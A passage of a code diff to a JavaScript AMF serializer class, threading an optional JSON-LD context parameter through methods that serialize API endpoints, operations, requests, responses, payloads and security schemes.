+    const types = this.readTypes(object['@type'], context);
     const { ns } = this;
     if (types.includes(ns.aml.vocabularies.data.Scalar)) {
-      return this.scalarNode(/** @type ScalarNode */(object));
+      return this.scalarNode(/** @type ScalarNode */(object), context);
     }
     if (types.includes(ns.aml.vocabularies.data.Object)) {
-      return this.objectNode(/** @type ObjectNode */(object));
+      return this.objectNode(/** @type ObjectNode */(object), context);
     }
     if (types.includes(ns.aml.vocabularies.data.Array)) {
-      return this.arrayNode(/** @type ArrayNode */(object));
+      return this.arrayNode(/** @type ArrayNode */(object), context);
     }
     return undefined;
   }
 
   /**
    * @param {DataNode} object
+   * @param {Record<string, string>=} context A context to use. If not set, it looks for the context of the passed model
    * @returns {ApiDataNode}
    */
-  dataNode(object) {
+  dataNode(object, context) {
     const result = /** @type ApiDataNode */ ({
       id: object['@id'],
-      types: this.readTypes(object['@type']),
-      customDomainProperties: this.customDomainProperties(object),
+      types: this.readTypes(object['@type'], context),
+      customDomainProperties: this.customDomainProperties(object, context),
     });
     const { ns } = this;
-    const name = this._getValue(object, ns.aml.vocabularies.core.name);
+    const name = this._getValue(object, ns.aml.vocabularies.core.name, context);
     if (name && typeof name === 'string') {
       result.name = name;
     }
@@ -1216,16 +1270,18 @@ export class AmfSerializer extends AmfHelperMixin(Object) {
 
   /**
    * @param {ScalarNode} object
+   * @param {Record<string, string>=} context A context to use. If not set, it looks for the context of the passed model
    * @returns {ApiScalarNode}
    */
-  scalarNode(object) {
-    const result = /** @type ApiScalarNode */ (this.dataNode(object));
+  scalarNode(object, context) {
+    const objectContext = context || object['@context'];
+    const result = /** @type ApiScalarNode */ (this.dataNode(object, context));
     const { ns } = this;
-    const value = this._getValue(object, ns.aml.vocabularies.data.value);
+    const value = this._getValue(object, ns.aml.vocabularies.data.value, objectContext);
     if (value && typeof value === 'string') {
       result.value = value;
     }
-    const dataType = this._getLinkValue(object, ns.w3.shacl.datatype);
+    const dataType = this._getLinkValue(object, ns.w3.shacl.datatype, objectContext);
     if (dataType && typeof dataType === 'string') {
       result.dataType = dataType;
     }
@@ -1234,13 +1290,15 @@ export class AmfSerializer extends AmfHelperMixin(Object) {
 
   /**
    * @param {ObjectNode} object
+   * @param {Record<string, string>=} context A context to use. If not set, it looks for the context of the passed model
    * @returns {ApiObjectNode}
    */
-  objectNode(object) {
-    const result = /** @type ApiObjectNode */ (this.dataNode(object));
+  objectNode(object, context) {
+    const objectContext = context || object['@context'];
+    const result = /** @type ApiObjectNode */ (this.dataNode(object, context));
     result.properties = {};
     const prefix = this.ns.aml.vocabularies.data.toString();
-    const prefixCompact = `${this._getAmfKey(prefix)}:`;
+    const prefixCompact = `${this._getAmfKey(prefix, objectContext)}:`;
     Object.keys(object).forEach((key) => {
       if (key.startsWith(prefix) || key.startsWith(prefixCompact)) {
         let value = object[key];
@@ -1248,7 +1306,7 @@ export class AmfSerializer extends AmfHelperMixin(Object) {
           [value] = value;
         }
         const name = key.replace(prefix, '').replace(prefixCompact, '');
-        result.properties[name] = this.unknownDataNode(value);
+        result.properties[name] = this.unknownDataNode(value, context);
       }
     });
     return result;
@@ -1256,10 +1314,12 @@ export class AmfSerializer extends AmfHelperMixin(Object) {
 
   /**
    * @param {ArrayNode} object
+   * @param {Record<string, string>=} context A context to use. If not set, it looks for the context of the passed model
    * @returns {ApiArrayNode}
    */
-  arrayNode(object) {
-    const result = /** @type ApiArrayNode */ (this.dataNode(object));
+  arrayNode(object, context) {
+    const objectContext = context || object['@context'];
+    const result = /** @type ApiArrayNode */ (this.dataNode(object, objectContext));
     result.members = [];
     const members = /** @type DataNode[] */ (this._computePropertyArray(object, this.ns.w3.rdfSchema.member));
     if (Array.isArray(members) && members.length) {
@@ -1271,11 +1331,13 @@ export class AmfSerializer extends AmfHelperMixin(Object) {
   /**
    * Adds the custom domain properties to the currently processed property, a.k.a annotations.
    * @param {DomainElement} object 
+   * @param {Record<string, string>=} context A context to use. If not set, it looks for the context of the passed model
    * @returns {ApiCustomDomainProperty[]} The list of custom domain properties.
    */
-  customDomainProperties(object) {
+  customDomainProperties(object, context) {
     const result = /** @type ApiCustomDomainProperty[] */ ([]);
-    const ids = this._getLinkValues(object, this.ns.aml.vocabularies.document.customDomainProperties);
+    const objectContext = context || object['@context'];
+    const ids = this._getLinkValues(object, this.ns.aml.vocabularies.document.customDomainProperties, objectContext);
     if (Array.isArray(ids) && ids.length) {
       ids.forEach((id) => {
         const key = `amf://id${id}`;
@@ -1286,8 +1348,8 @@ export class AmfSerializer extends AmfHelperMixin(Object) {
         if (Array.isArray(value)) {
           [value] = value;
         }
-        const extension = this.unknownDataNode(value);
-        const name = this._getValue(value, this.ns.aml.vocabularies.core.extensionName);
+        const extension = this.unknownDataNode(value, objectContext);
+        const name = this._getValue(value, this.ns.aml.vocabularies.core.extensionName, objectContext);
         if (!name || !extension) {
           return;
         }
@@ -1304,13 +1366,15 @@ export class AmfSerializer extends AmfHelperMixin(Object) {
 
   /**
    * @param {EndPoint} object The EndPoint to serialize.
+   * @param {Record<string, string>=} context
    * @returns {ApiEndPoint} Serialized EndPoint
    */
-  endPoint(object) {
+  endPoint(object, context) {
+    const objectContext = context || object['@context'];
     const result = /** @type ApiEndPoint */ ({
       id: object['@id'],
-      types: this.readTypes(object['@type']),
-      customDomainProperties: this.customDomainProperties(object),
+      types: this.readTypes(object['@type'], objectContext),
+      customDomainProperties: this.customDomainProperties(object, objectContext),
       sourceMaps: this.sourceMap(object),
       path: '',
       operations: [],
@@ -1321,43 +1385,43 @@ export class AmfSerializer extends AmfHelperMixin(Object) {
       extends: [],
     });
     const { ns } = this;
-    const path = this._getValue(object, ns.aml.vocabularies.apiContract.path);
+    const path = this._getValue(object, ns.aml.vocabularies.apiContract.path, objectContext);
     if (path && typeof path === 'string') {
       result.path = path;
     }
-    const name = this._getValue(object, ns.aml.vocabularies.core.name);
+    const name = this._getValue(object, ns.aml.vocabularies.core.name, objectContext);
     if (name && typeof name === 'string') {
       result.name = name;
     }
-    const description = this._getValue(object, ns.aml.vocabularies.core.description);
+    const description = this._getValue(object, ns.aml.vocabularies.core.description, objectContext);
     if (description && typeof description === 'string') {
       result.description = description;
     }
-    const summary = this._getValue(object, ns.aml.vocabularies.core.summary);
+    const summary = this._getValue(object, ns.aml.vocabularies.core.summary, objectContext);
     if (summary && typeof summary === 'string') {
       result.summary = summary;
     }
-    const operations = this[getArrayItems](object, ns.aml.vocabularies.apiContract.supportedOperation);
+    const operations = this[getArrayItems](object, ns.aml.vocabularies.apiContract.supportedOperation, objectContext);
     if (Array.isArray(operations) && operations.length) {
-      result.operations = operations.map(i => this.operation(/** @type Operation */ (i)));
+      result.operations = operations.map(i => this.operation(/** @type Operation */ (i), objectContext));
     }
-    const parameters = this[getArrayItems](object, ns.aml.vocabularies.apiContract.parameter);
+    const parameters = this[getArrayItems](object, ns.aml.vocabularies.apiContract.parameter, objectContext);
     if (Array.isArray(parameters) && parameters.length) {
-      result.parameters = parameters.map(i => this.parameter(i));
+      result.parameters = parameters.map(i => this.parameter(i, objectContext));
     }
-    const payloads = this[getArrayItems](object, ns.aml.vocabularies.apiContract.payload);
+    const payloads = this[getArrayItems](object, ns.aml.vocabularies.apiContract.payload, objectContext);
     if (Array.isArray(payloads) && payloads.length) {
-      result.payloads = payloads.map(i => this.payload(/** @type Payload */(i)));
+      result.payloads = payloads.map(i => this.payload(/** @type Payload */(i), objectContext));
     }
-    const servers = this[getArrayItems](object, ns.aml.vocabularies.apiContract.server);
+    const servers = this[getArrayItems](object, ns.aml.vocabularies.apiContract.server, objectContext);
     if (Array.isArray(servers) && servers.length) {
-      result.servers = servers.map(i => this.server(i));
+      result.servers = servers.map(i => this.server(i, objectContext));
     }
-    const security = this[getArrayItems](object, ns.aml.vocabularies.security.security);
+    const security = this[getArrayItems](object, ns.aml.vocabularies.security.security, objectContext);
     if (Array.isArray(security) && security.length) {
-      result.security = security.map(i => this.securityRequirement(i));
+      result.security = security.map(i => this.securityRequirement(i, objectContext));
     }
-    const extensions = this[getArrayItems](object, ns.aml.vocabularies.document.extends);
+    const extensions = this[getArrayItems](object, ns.aml.vocabularies.document.extends, objectContext);
     if (Array.isArray(extensions) && extensions.length) {
       result.extends = [];
       extensions.forEach((ex) => {
@@ -1365,10 +1429,10 @@ export class AmfSerializer extends AmfHelperMixin(Object) {
         if (Array.isArray(extension)) {
           [extension] = extension;
         }
-        if (this._hasType(extension, ns.aml.vocabularies.apiContract.ParametrizedResourceType)) {
-          result.extends.push(this.parametrizedResourceType(extension));
-        } else if (this._hasType(extension, ns.aml.vocabularies.apiContract.ParametrizedTrait)) {
-          result.extends.push(this.parametrizedTrait(extension));
+        if (this._hasType(extension, ns.aml.vocabularies.apiContract.ParametrizedResourceType, objectContext)) {
+          result.extends.push(this.parametrizedResourceType(extension, objectContext));
+        } else if (this._hasType(extension, ns.aml.vocabularies.apiContract.ParametrizedTrait, objectContext)) {
+          result.extends.push(this.parametrizedTrait(extension, objectContext));
         }
       });
     }
@@ -1377,13 +1441,15 @@ export class AmfSerializer extends AmfHelperMixin(Object) {
 
   /**
    * @param {Operation} object The Operation to serialize.
+   * @param {Record<string, string>=} context
    * @returns {ApiOperation} Serialized Operation
    */
-  operation(object) {
+  operation(object, context) {
+    const objectContext = context || object['@context'];
     const result = /** @type ApiOperation */ ({
       id: object['@id'],
-      types: this.readTypes(object['@type']),
-      customDomainProperties: this.customDomainProperties(object),
+      types: this.readTypes(object['@type'], objectContext),
+      customDomainProperties: this.customDomainProperties(object, objectContext),
       sourceMaps: this.sourceMap(object),
       method: '',
       deprecated: false,
@@ -1398,98 +1464,100 @@ export class AmfSerializer extends AmfHelperMixin(Object) {
       extends: [],
     });
     const { ns } = this;
-    const method = this._getValue(object, ns.aml.vocabularies.apiContract.method);
+    const method = this._getValue(object, ns.aml.vocabularies.apiContract.method, objectContext);
     if (method && typeof method === 'string') {
       result.method = method;
     }
-    const name = this._getValue(object, ns.aml.vocabularies.core.name);
+    const name = this._getValue(object, ns.aml.vocabularies.core.name, objectContext);
     if (name && typeof name === 'string') {
       result.name = name;
     }
-    const description = this._getValue(object, ns.aml.vocabularies.core.description);
+    const description = this._getValue(object, ns.aml.vocabularies.core.description, objectContext);
     if (description && typeof description === 'string') {
       result.description = description;
     }
-    const summary = this._getValue(object, ns.aml.vocabularies.apiContract.guiSummary);
+    const summary = this._getValue(object, ns.aml.vocabularies.apiContract.guiSummary, objectContext);
     if (summary && typeof summary === 'string') {
       result.summary = summary;
     }
-    const deprecated = this._getValue(object, ns.aml.vocabularies.core.deprecated);
+    const deprecated = this._getValue(object, ns.aml.vocabularies.core.deprecated, objectContext);
     if (typeof deprecated === 'boolean') {
       result.deprecated = deprecated;
     }
-    const operationId = this._getValue(object, ns.aml.vocabularies.apiContract.operationId);
+    const operationId = this._getValue(object, ns.aml.vocabularies.apiContract.operationId, objectContext);
     if (operationId && typeof operationId === 'string') {
       result.operationId = operationId;
     }
-    const accepts = /** @type string[] */ (this._getValueArray(object, ns.aml.vocabularies.apiContract.accepts));
+    const accepts = /** @type string[] */ (this._getValueArray(object, ns.aml.vocabularies.apiContract.accepts, objectContext));
     if (Array.isArray(accepts)) {
       result.accepts = accepts;
     }
-    const schemes = /** @type string[] */ (this._getValueArray(object, ns.aml.vocabularies.apiContract.scheme));
+    const schemes = /** @type string[] */ (this._getValueArray(object, ns.aml.vocabularies.apiContract.scheme, objectContext));
     if (Array.isArray(schemes)) {
       result.schemes = schemes;
     }
-    const contentType = /** @type string[] */ (this._getValueArray(object, ns.aml.vocabularies.apiContract.contentType));
+    const contentType = /** @type string[] */ (this._getValueArray(object, ns.aml.vocabularies.apiContract.contentType, objectContext));
     if (Array.isArray(contentType)) {
       result.contentType = contentType;
     }
 
-    let expects = object[this._getAmfKey(ns.aml.vocabularies.apiContract.expects)];
+    let expects = object[this._getAmfKey(ns.aml.vocabularies.apiContract.expects, objectContext)];
     if (expects) {
       if (Array.isArray(expects)) {
         [expects] = expects;
       }
-      result.request = this.request(expects);
+      result.request = this.request(expects, objectContext);
     }
-    let documentation = object[this._getAmfKey(ns.aml.vocabularies.core.documentation)];
+    let documentation = object[this._getAmfKey(ns.aml.vocabularies.core.documentation, objectContext)];
     if (documentation) {
       if (Array.isArray(documentation)) {
         [documentation] = documentation;
       }
-      result.documentation = this.documentation(documentation);
+      result.documentation = this.documentation(documentation, objectContext);
     }
-    const responses = object[this._getAmfKey(ns.aml.vocabularies.apiContract.returns)];
+    const responses = object[this._getAmfKey(ns.aml.vocabularies.apiContract.returns, objectContext)];
     if (Array.isArray(responses)) {
-      result.responses = responses.map(r => this.response(r));
+      result.responses = responses.map(r => this.response(r, objectContext));
     }
-    const callbacks = object[this._getAmfKey(ns.aml.vocabularies.apiContract.callback)];
+    const callbacks = object[this._getAmfKey(ns.aml.vocabularies.apiContract.callback, objectContext)];
     if (Array.isArray(callbacks)) {
-      result.callbacks = callbacks.map(c => this.callback(c));
+      result.callbacks = callbacks.map(c => this.callback(c, objectContext));
     }
-    const servers = object[this._getAmfKey(ns.aml.vocabularies.apiContract.server)];
+    const servers = object[this._getAmfKey(ns.aml.vocabularies.apiContract.server, objectContext)];
     if (Array.isArray(servers)) {
       result.servers = servers.map(s => this.server(s));
     }
-    const security = object[this._getAmfKey(ns.aml.vocabularies.security.security)];
+    const security = object[this._getAmfKey(ns.aml.vocabularies.security.security, objectContext)];
     if (Array.isArray(security)) {
-      result.security = security.map(s => this.securityRequirement(s));
+      result.security = security.map(s => this.securityRequirement(s, objectContext));
     }
-    const tags = object[this._getAmfKey(ns.aml.vocabularies.apiContract.tag)];
+    const tags = object[this._getAmfKey(ns.aml.vocabularies.apiContract.tag, objectContext)];
     if (Array.isArray(tags) && tags.length) {
-      result.tags = tags.map(s => this.tag(s));
+      result.tags = tags.map(s => this.tag(s, objectContext));
     }
-    const traits = object[this._getAmfKey(ns.aml.vocabularies.document.extends)];
+    const traits = object[this._getAmfKey(ns.aml.vocabularies.document.extends, objectContext)];
     if (Array.isArray(traits) && traits.length) {
-      result.extends = traits.map(t => this.parametrizedTrait(t));
+      result.extends = traits.map(t => this.parametrizedTrait(t, objectContext));
     }
     return result;
   }
 
   /**
    * @param {Tag} object 
+   * @param {Record<string, string>=} context
    * @returns {ApiTag}
    */
-  tag(object) {
+  tag(object, context) {
+    const objectContext = context || object['@context'];
     const result = /** @type ApiTag */ ({
       id: object['@id'],
-      types: this.readTypes(object['@type']),
-      customDomainProperties: this.customDomainProperties(object),
+      types: this.readTypes(object['@type'], objectContext),
+      customDomainProperties: this.customDomainProperties(object, objectContext),
       sourceMaps: this.sourceMap(object),
       name: '',
     });
     const { ns } = this;
-    const name = this._getValue(object, ns.aml.vocabularies.core.name);
+    const name = this._getValue(object, ns.aml.vocabularies.core.name, objectContext);
     if (name && typeof name === 'string') {
       result.name = name;
     }
@@ -1498,43 +1566,47 @@ export class AmfSerializer extends AmfHelperMixin(Object) {
 
   /**
    * @param {Callback} object
+   * @param {Record<string, string>=} context
    * @returns {ApiCallback}
    */
-  callback(object) {
+  callback(object, context) {
+    const objectContext = context || object['@context'];
     const result = /** @type ApiCallback */ ({
       id: object['@id'],
-      types: this.readTypes(object['@type']),
-      customDomainProperties: this.customDomainProperties(object),
+      types: this.readTypes(object['@type'], objectContext),
+      customDomainProperties: this.customDomainProperties(object, objectContext),
       sourceMaps: this.sourceMap(object),
     });
     const { ns } = this;
-    const name = this._getValue(object, ns.aml.vocabularies.core.name);
+    const name = this._getValue(object, ns.aml.vocabularies.core.name, objectContext);
     if (name && typeof name === 'string') {
       result.name = name;
     }
-    const expression = this._getValue(object, ns.aml.vocabularies.apiContract.expression);
+    const expression = this._getValue(object, ns.aml.vocabularies.apiContract.expression, objectContext);
     if (expression && typeof expression === 'string') {
       result.expression = expression;
     }
-    let endpoint = object[this._getAmfKey(ns.aml.vocabularies.apiContract.endpoint)];
+    let endpoint = object[this._getAmfKey(ns.aml.vocabularies.apiContract.endpoint, objectContext)];
     if (endpoint) {
       if (Array.isArray(endpoint)) {
         [endpoint] = endpoint;
       }
-      result.endpoint = this.endPoint(endpoint);
+      result.endpoint = this.endPoint(endpoint, objectContext);
     }
     return result;
   }
 
   /**
    * @param {Request} object The API request to serialize.
+   * @param {Record<string, string>=} context
    * @returns {ApiRequest} Serialized API request
    */
-  request(object) {
+  request(object, context) {
+    const objectContext = context || object['@context'];
     const result = /** @type ApiRequest */ ({
       id: object['@id'],
-      types: this.readTypes(object['@type']),
-      customDomainProperties: this.customDomainProperties(object),
+      types: this.readTypes(object['@type'], objectContext),
+      customDomainProperties: this.customDomainProperties(object, objectContext),
       sourceMaps: this.sourceMap(object),
       required: false,
       headers: [],
@@ -1544,125 +1616,129 @@ export class AmfSerializer extends AmfHelperMixin(Object) {
       cookieParameters: [],
     });
     const { ns } = this;
-    const description = this._getValue(object, ns.aml.vocabularies.core.description);
+    const description = this._getValue(object, ns.aml.vocabularies.core.description, objectContext);
     if (description && typeof description === 'string') {
       result.description = description;
     }
-    const required = this._getValue(object, ns.aml.vocabularies.apiContract.required);
+    const required = this._getValue(object, ns.aml.vocabularies.apiContract.required, objectContext);
     if (required && typeof required === 'boolean') {
       result.required = required;
     }
-    let queryString = object[this._getAmfKey(ns.aml.vocabularies.apiContract.queryString)];
+    let queryString = object[this._getAmfKey(ns.aml.vocabularies.apiContract.queryString, objectContext)];
     if (queryString) {
       if (Array.isArray(queryString)) {
         [queryString] = queryString;
       }
-      result.queryString = this.unknownShape(queryString);
+      result.queryString = this.unknownShape(queryString, undefined, objectContext);
     }
-    const headers = this[getArrayItems](object, ns.aml.vocabularies.apiContract.header);
+    const headers = this[getArrayItems](object, ns.aml.vocabularies.apiContract.header, objectContext);
     if (Array.isArray(headers) && headers.length) {
-      result.headers = headers.map(p => this.parameter(p));
+      result.headers = headers.map(p => this.parameter(p, objectContext));
     }
-    const queryParameters = this[getArrayItems](object, ns.aml.vocabularies.apiContract.parameter);
+    const queryParameters = this[getArrayItems](object, ns.aml.vocabularies.apiContract.parameter, objectContext);
     if (Array.isArray(queryParameters) && queryParameters.length) {
-      result.queryParameters = queryParameters.map(p => this.parameter(p));
+      result.queryParameters = queryParameters.map(p => this.parameter(p, objectContext));
     }
-    const uriParameters = this[getArrayItems](object, ns.aml.vocabularies.apiContract.uriParameter);
+    const uriParameters = this[getArrayItems](object, ns.aml.vocabularies.apiContract.uriParameter, objectContext);
     if (Array.isArray(uriParameters) && uriParameters.length) {
-      result.uriParameters = uriParameters.map(p => this.parameter(p));
+      result.uriParameters = uriParameters.map(p => this.parameter(p, objectContext));
     }
-    const cookieParameters = this[getArrayItems](object, ns.aml.vocabularies.apiContract.cookieParameter);
+    const cookieParameters = this[getArrayItems](object, ns.aml.vocabularies.apiContract.cookieParameter, objectContext);
     if (Array.isArray(cookieParameters) && cookieParameters.length) {
-      result.cookieParameters = cookieParameters.map(p => this.parameter(p));
+      result.cookieParameters = cookieParameters.map(p => this.parameter(p, objectContext));
     }
-    const payloads = this[getArrayItems](object, ns.aml.vocabularies.apiContract.payload);
+    const payloads = this[getArrayItems](object, ns.aml.vocabularies.apiContract.payload, objectContext);
     if (Array.isArray(payloads) && payloads.length) {
-      result.payloads = payloads.map(p => this.payload(/** @type Payload */ (p)));
+      result.payloads = payloads.map(p => this.payload(/** @type Payload */ (p), objectContext));
     }
     return result;
   }
 
   /**
    * @param {Response} object The Response to serialize.
+   * @param {Record<string, string>=} context
    * @returns {ApiResponse} Serialized Response
    */
-  response(object) {
+  response(object, context) {
+    const objectContext = context || object['@context'];
     const result = /** @type ApiResponse */ ({
       id: object['@id'],
-      types: this.readTypes(object['@type']),
-      customDomainProperties: this.customDomainProperties(object),
-      sourceMaps: this.sourceMap(object),
+      types: this.readTypes(object['@type'], objectContext),
+      customDomainProperties: this.customDomainProperties(object, objectContext),
+      sourceMaps: this.sourceMap(object, objectContext),
       headers: [],
       payloads: [],
       examples: [],
       links: [],
     });
     const { ns } = this;
-    const name = this._getValue(object, ns.aml.vocabularies.core.name);
+    const name = this._getValue(object, ns.aml.vocabularies.core.name, objectContext);
     if (name && typeof name === 'string') {
       result.name = name;
     }
-    const description = this._getValue(object, ns.aml.vocabularies.core.description);
+    const description = this._getValue(object, ns.aml.vocabularies.core.description, objectContext);
     if (description && typeof description === 'string') {
       result.description = description;
     }
-    const statusCode = this._getValue(object, ns.aml.vocabularies.apiContract.statusCode);
+    const statusCode = this._getValue(object, ns.aml.vocabularies.apiContract.statusCode, objectContext);
     if (statusCode && typeof statusCode === 'string') {
       result.statusCode = statusCode;
     }
-    const headers = this[getArrayItems](object, ns.aml.vocabularies.apiContract.header);
+    const headers = this[getArrayItems](object, ns.aml.vocabularies.apiContract.header, objectContext);
     if (Array.isArray(headers) && headers.length) {
-      result.headers = headers.map(p => this.parameter(p));
+      result.headers = headers.map(p => this.parameter(p, objectContext));
     }
-    const payloads = this[getArrayItems](object, ns.aml.vocabularies.apiContract.payload);
+    const payloads = this[getArrayItems](object, ns.aml.vocabularies.apiContract.payload, objectContext);
     if (Array.isArray(payloads) && payloads.length) {
-      result.payloads = payloads.map(p => this.payload(/** @type Payload */(p)));
+      result.payloads = payloads.map(p => this.payload(/** @type Payload */(p), objectContext));
     }
-    const examples = object[this._getAmfKey(ns.aml.vocabularies.apiContract.examples)];
+    const examples = object[this._getAmfKey(ns.aml.vocabularies.apiContract.examples, objectContext)];
     if (Array.isArray(examples) && examples.length) {
-      result.examples = examples.map(e => this.example(e));
+      result.examples = examples.map(e => this.example(e, objectContext));
     }
-    const links = object[this._getAmfKey(ns.aml.vocabularies.apiContract.link)];
+    const links = object[this._getAmfKey(ns.aml.vocabularies.apiContract.link, objectContext)];
     if (Array.isArray(links) && links.length) {
-      result.links = links.map(p => this.templatedLink(p));
+      result.links = links.map(p => this.templatedLink(p, objectContext));
     }
     return result;
   }
 
   /**
    * @param {Payload} object The Payload to serialize.
+   * @param {Record<string, string>=} context
    * @returns {ApiPayload} Serialized Payload
    */
-  payload(object) {
+  payload(object, context) {
+    const objectContext = context || object['@context'];
     const result = /** @type ApiPayload */ ({
       id: object['@id'],
-      types: this.readTypes(object['@type']),
-      customDomainProperties: this.customDomainProperties(object),
-      sourceMaps: this.sourceMap(object),
+      types: this.readTypes(object['@type'], objectContext),
+      customDomainProperties: this.customDomainProperties(object, objectContext),
+      sourceMaps: this.sourceMap(object, objectContext),
       examples: [],
       // encoding: [],
     });
     const { ns } = this;
-    const name = this._getValue(object, ns.aml.vocabularies.core.name);
+    const name = this._getValue(object, ns.aml.vocabularies.core.name, objectContext);
     if (name && typeof name === 'string') {
       result.name = name;
     }
-    const mediaType = this._getValue(object, ns.aml.vocabularies.core.mediaType);
+    const mediaType = this._getValue(object, ns.aml.vocabularies.core.mediaType, objectContext);
     if (mediaType && typeof mediaType === 'string') {
       result.mediaType = mediaType;
     }
-    let schema = object[this._getAmfKey(ns.aml.vocabularies.shapes.schema)];
+    let schema = object[this._getAmfKey(ns.aml.vocabularies.shapes.schema, objectContext)];
     if (schema) {
       if (Array.isArray(schema)) {
         [schema] = schema;
       }
       result.schema = this.unknownShape(schema, {
         trackedId: result.id,
-      });
+      }, objectContext);
     }
-    const examples = object[this._getAmfKey(ns.aml.vocabularies.apiContract.examples)];
+    const examples = object[this._getAmfKey(ns.aml.vocabularies.apiContract.examples, objectContext)];
     if (Array.isArray(examples) && examples.length) {
-      result.examples = examples.map(e => this.example(e));
+      result.examples = examples.map(e => this.example(e, objectContext));
     }
     // if (Array.isArray(encoding) && encoding.length) {
     //   result.encoding = encoding.map((p) => p.id);
@@ -1672,43 +1748,45 @@ export class AmfSerializer extends AmfHelperMixin(Object) {
 
   /**
    * @param {TemplatedLink} object The TemplatedLink to serialize.
+   * @param {Record<string, string>=} context
    * @returns {ApiTemplatedLink} Serialized TemplatedLink
    */
-  templatedLink(object) {
+  templatedLink(object, context) {
+    const objectContext = context || object['@context'];
     const result = /** @type ApiTemplatedLink */ ({
       id: object['@id'],
-      types: this.readTypes(object['@type']),
-      customDomainProperties: this.customDomainProperties(object),
-      sourceMaps: this.sourceMap(object),
+      types: this.readTypes(object['@type'], objectContext),
+      customDomainProperties: this.customDomainProperties(object, objectContext),
+      sourceMaps: this.sourceMap(object, objectContext),
       mapping: [],
     });
     const { ns } = this;
-    const name = this._getValue(object, ns.aml.vocabularies.core.name);
+    const name = this._getValue(object, ns.aml.vocabularies.core.name, objectContext);
     if (name && typeof name === 'string') {
       result.name = name;
     }
-    const description = this._getValue(object, ns.aml.vocabularies.core.description);
+    const description = this._getValue(object, ns.aml.vocabularies.core.description, objectContext);
     if (description && typeof description === 'string') {
       result.description = description;
     }
-    const operationId = this._getValue(object, ns.aml.vocabularies.apiContract.operationId);
+    const operationId = this._getValue(object, ns.aml.vocabularies.apiContract.operationId, objectContext);
     if (operationId && typeof operationId === 'string') {
       result.operationId = operationId;
     }
-    let server = object[this._getAmfKey(ns.aml.vocabularies.apiContract.server)];
+    let server = object[this._getAmfKey(ns.aml.vocabularies.apiContract.server, objectContext)];
     if (server) {
       if (Array.isArray(server)) {
         [server] = server;
       }
-      result.server = this.server(server);
+      result.server = this.server(server, objectContext);
     }
-    let mapping = /** @type IriTemplateMapping[] */ (object[this._getAmfKey(ns.aml.vocabularies.apiContract.mapping)]);
+    let mapping = /** @type IriTemplateMapping[] */ (object[this._getAmfKey(ns.aml.vocabularies.apiContract.mapping, objectContext)]);
     if (mapping) {
       if (mapping && !Array.isArray(mapping)) {
         mapping = [mapping];
       }
       if (mapping) {
-        result.mapping = mapping.map(item => this.iriTemplateMapping(item));
+        result.mapping = mapping.map(item => this.iriTemplateMapping(item, objectContext));
       }
     }
     // if (!template.isNullOrEmpty) {
@@ -1722,21 +1800,23 @@ export class AmfSerializer extends AmfHelperMixin(Object) {
 
   /**
    * @param {IriTemplateMapping} object 
+   * @param {Record<string, string>=} context
    * @returns {ApiIriTemplateMapping}
    */
-  iriTemplateMapping(object) {
+  iriTemplateMapping(object, context) {
+    const objectContext = context || object['@context'];
     const result = /** @type ApiIriTemplateMapping */ ({
       id: object['@id'],
-      types: this.readTypes(object['@type']),
-      customDomainProperties: this.customDomainProperties(object),
-      sourceMaps: this.sourceMap(object),
+      types: this.readTypes(object['@type'], objectContext),
+      customDomainProperties: this.customDomainProperties(object, objectContext),
+      sourceMaps: this.sourceMap(object, objectContext),
     });
     const { ns } = this;
-    const templateVariable = this._getValue(object, ns.aml.vocabularies.apiContract.templateVariable);
+    const templateVariable = this._getValue(object, ns.aml.vocabularies.apiContract.templateVariable, objectContext);
     if (templateVariable && typeof templateVariable === 'string') {
       result.templateVariable = templateVariable;
     }
-    const linkExpression = this._getValue(object, ns.aml.vocabularies.apiContract.linkExpression);
+    const linkExpression = this._getValue(object, ns.aml.vocabularies.apiContract.linkExpression, objectContext);
     if (linkExpression && typeof linkExpression === 'string') {
       result.linkExpression = linkExpression;
     }
@@ -1745,156 +1825,166 @@ export class AmfSerializer extends AmfHelperMixin(Object) {
 
   /**
    * @param {ParametrizedSecurityScheme} object The ParametrizedSecurityScheme to serialize.
+   * @param {Record<string, string>=} context
    * @returns {ApiParametrizedSecurityScheme} Serialized ParametrizedSecurityScheme
    */
-  parametrizedSecurityScheme(object) {
+  parametrizedSecurityScheme(object, context) {
+    const objectContext = context || object['@context'];
     const result = /** @type ApiParametrizedSecurityScheme */ ({
       id: object['@id'],
-      types: this.readTypes(object['@type']),
-      customDomainProperties: this.customDomainProperties(object),
-      sourceMaps: this.sourceMap(object),
+      types: this.readTypes(object['@type'], objectContext),
+      customDomainProperties: this.customDomainProperties(object, objectContext),
+      sourceMaps: this.sourceMap(object, objectContext),
     });
     const { ns } = this;
-    const name = this._getValue(object, ns.aml.vocabularies.core.name);
+    const name = this._getValue(object, ns.aml.vocabularies.core.name, objectContext);
     if (name && typeof name === 'string') {
       result.name = name;
     }
-    let scheme = object[this._getAmfKey(ns.aml.vocabularies.security.scheme)];
+    let scheme = object[this._getAmfKey(ns.aml.vocabularies.security.scheme, objectContext)];
     if (scheme) {
       if (Array.isArray(scheme)) {
         [scheme] = scheme;
       }
-      result.scheme = this.securityScheme(scheme);
+      result.scheme = this.securityScheme(scheme, objectContext);
     }
-    let settings = object[this._getAmfKey(ns.aml.vocabularies.security.settings)];
+    let settings = object[this._getAmfKey(ns.aml.vocabularies.security.settings, objectContext)];
     if (settings) {
       if (Array.isArray(settings)) {
         [settings] = settings;
       }
-      result.settings = this.securitySettings(settings);
+      result.settings = this.securitySettings(settings, objectContext);
     }
     return result;
   }
 
   /**
    * @param {SecurityScheme} object The SecurityScheme to serialize.
+   * @param {Record<string, string>=} context
    * @returns {ApiSecurityScheme} Serialized SecurityScheme
    */
-  securityScheme(object) {
+  securityScheme(object, context) {
+    const objectContext = context || object['@context'];
     const result = /** @type ApiSecurityScheme */ ({
       id: object['@id'],
-      types: this.readTypes(object['@type']),
-      customDomainProperties: this.customDomainProperties(object),
-      sourceMaps: this.sourceMap(object),
+      types: this.readTypes(object['@type'], objectContext),
+      customDomainProperties: this.customDomainProperties(object, objectContext),
+      sourceMaps: this.sourceMap(object, objectContext),
       headers: [],
       queryParameters: [],
       responses: [],
     });
     const { ns } = this;
-    const name = this._getValue(object, ns.aml.vocabularies.core.name);
+    const name = this._getValue(object, ns.aml.vocabularies.core.name, objectContext);
     if (name && typeof name === 'string') {
       result.name = name;
     }
-    const displayName = this._getValue(object, ns.aml.vocabularies.core.displayName);
+    const displayName = this._getValue(object, ns.aml.vocabularies.core.displayName, objectContext);
     if (displayName && typeof displayName === 'string') {
       result.displayName = displayName;
     }
-    const description = this._getValue(object, ns.aml.vocabularies.core.description);
